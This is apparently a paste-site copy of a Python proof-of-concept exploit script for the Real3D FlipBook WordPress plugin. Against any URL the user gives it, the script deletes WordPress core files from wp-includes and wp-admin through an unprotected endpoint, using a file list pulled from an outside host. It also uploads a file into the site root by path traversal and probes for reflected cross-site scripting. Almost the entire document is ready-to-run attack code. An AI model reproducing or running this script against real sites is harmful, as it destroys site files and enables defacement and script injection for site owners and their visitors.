WordPress Real3D FlipBook Plugin - Multiple Vulnerabilities


SUBMITTED BY: ayush9861

DATE: July 6, 2016, 7:26 a.m.

FORMAT: Text only

SIZE: 4.5 kB

HITS: 1072

  1. #########################################################################
  2. # [+] [POC][Exploit] CodeCanyon Real3D FlipBook WordPress Plugin
  3. # [+] http://codecanyon.net/item/real3d-flipbook-wordpress-plugin/6942587
  4. # [+] Multiple Vulnerabilities Found by: Mukarram Khalid
  5. # [+] https://mukarramkhalid.com/wordpress-real-3d-flipbook-plugin-exploit/
  6. # [+] Requirements : Python 3.4.x or higher, Requests Module
  7. # [+] Timeline: Vuln Found : 01-07-2016, Reported to Vendor: 03-07-2016
  8. ########################################################################
  9. import os, json, base64
  10. try:
  11. import requests
  12. except:
  13. exit('[-] Importing Requests module failed')
  14. class wpFlipbook:
  15. ''' Wordpress 3d flipbook plugin exploit '''
  16. headers = {'User-agent' : 'Mozilla/11.0'}
  17. payload1 = {'deleteBook' : ''}
  18. payload2 = {'imgbase' : '', 'bookName' : '../../../', 'pageName' : 'makman'}
  19. payload3 = {'action' : 'delete', 'bookId' : '<script>alert(/makman/)</script>'}
  20. imageUrl = 'http://makman.tk/makman.jpg'
  21. wpFilesUrl = 'http://makman.tk/wpFiles.json'
  22. def __init__(self, url):
  23. url = url.rstrip('/')
  24. if 'http://' in url or 'https://' in url:
  25. self.url = url
  26. else:
  27. self.url = 'http://' + url
  28. def http(self, url, data = {}, post = False):
  29. try:
  30. if post:
  31. r = requests.post(url, data = data, headers = self.headers, timeout = 20)
  32. else:
  33. r = requests.get(url, params = data, headers = self.headers, timeout = 20)
  34. except:
  35. exit('[-] Something went wrong. Please check your internet connection')
  36. return r
  37. def deleteFiles(self):
  38. print('[+] Loading Wordpress file structure')
  39. r = self.http(self.wpFilesUrl)
  40. wpFiles = json.loads(r.text)
  41. print('[+] Wordpress File structure loaded successfully')
  42. print('[+] Creating directory real3dflipbook')
  43. r = self.http(self.url + '/wp-content/plugins/real3d-flipbook/includes/process.php', {'imgbase' : 'makman'}, True)
  44. print('[+] Deleting Files from wp-includes/ & wp-admin/')
  45. for wpFile in wpFiles['wpFiles']:
  46. print(' [+] Deleting File ' + wpFile)
  47. self.payload1['deleteBook'] = wpFile
  48. r = self.http(self.url + '/wp-content/plugins/real3d-flipbook/includes/process.php', self.payload1, True)
  49. print('[+] Files have been deleted successfully')
  50. def uploadImage(self):
  51. print('[+] Loading image file')
  52. r = self.http('http://makman.tk/makman.jpg')
  53. encodedImage = base64.b64encode(r.content)
  54. self.payload2['imgbase'] = ';,' + encodedImage.decode('utf-8')
  55. print('[+] Uploading image file in target root directory')
  56. r = self.http(self.url + '/wp-content/plugins/real3d-flipbook/includes/process.php', self.payload2, True)
  57. print('[+] Image has been uploaded here ' + self.url + '/' + self.payload2['pageName'] + '.jpg')
  58. def xss(self):
  59. print('[+] Checking XSS payload')
  60. r = self.http(self.url + '/wp-content/plugins/real3d-flipbook/includes/flipbooks.php', self.payload3)
  61. if self.payload3['bookId'] in r.text:
  62. print('[+] Found XSS here :')
  63. print(' [+] ' + self.url + '/wp-content/plugins/real3d-flipbook/includes/flipbooks.php?action=' + self.payload3['action'] + '&bookId=' + self.payload3['bookId'])
  64. #########################################################################################################
  65. def banner():
  66. os.system('cls' if os.name == 'nt' else 'clear')
  67. tabs = ' '
  68. print(tabs + '*******************************************************************')
  69. print(tabs + '* [+] [POC][Exploit] CodeCanyon Real3D FlipBook WordPress Plugin *')
  70. print(tabs + '* [+] Multiple Vulnerabilities Found by: *')
  71. print(tabs + '* [+] https://mukarramkhalid.com *')
  72. print(tabs + '*******************************************************************\n\n')
  73. def main():
  74. banner()
  75. url = input('[+] Enter Url\n[+] E.g. http://server or http://server/wordpress\n[+] ')
  76. exploit = wpFlipbook(url)
  77. exploit.deleteFiles()
  78. exploit.uploadImage()
  79. exploit.xss()
  80. print('[+] Done')
  81. if __name__ == '__main__':
  82. try:
  83. main()
  84. except KeyboardInterrupt:
  85. exit('\n[-] CTRL-C detected.\n')
  86. # End

comments powered by Disqus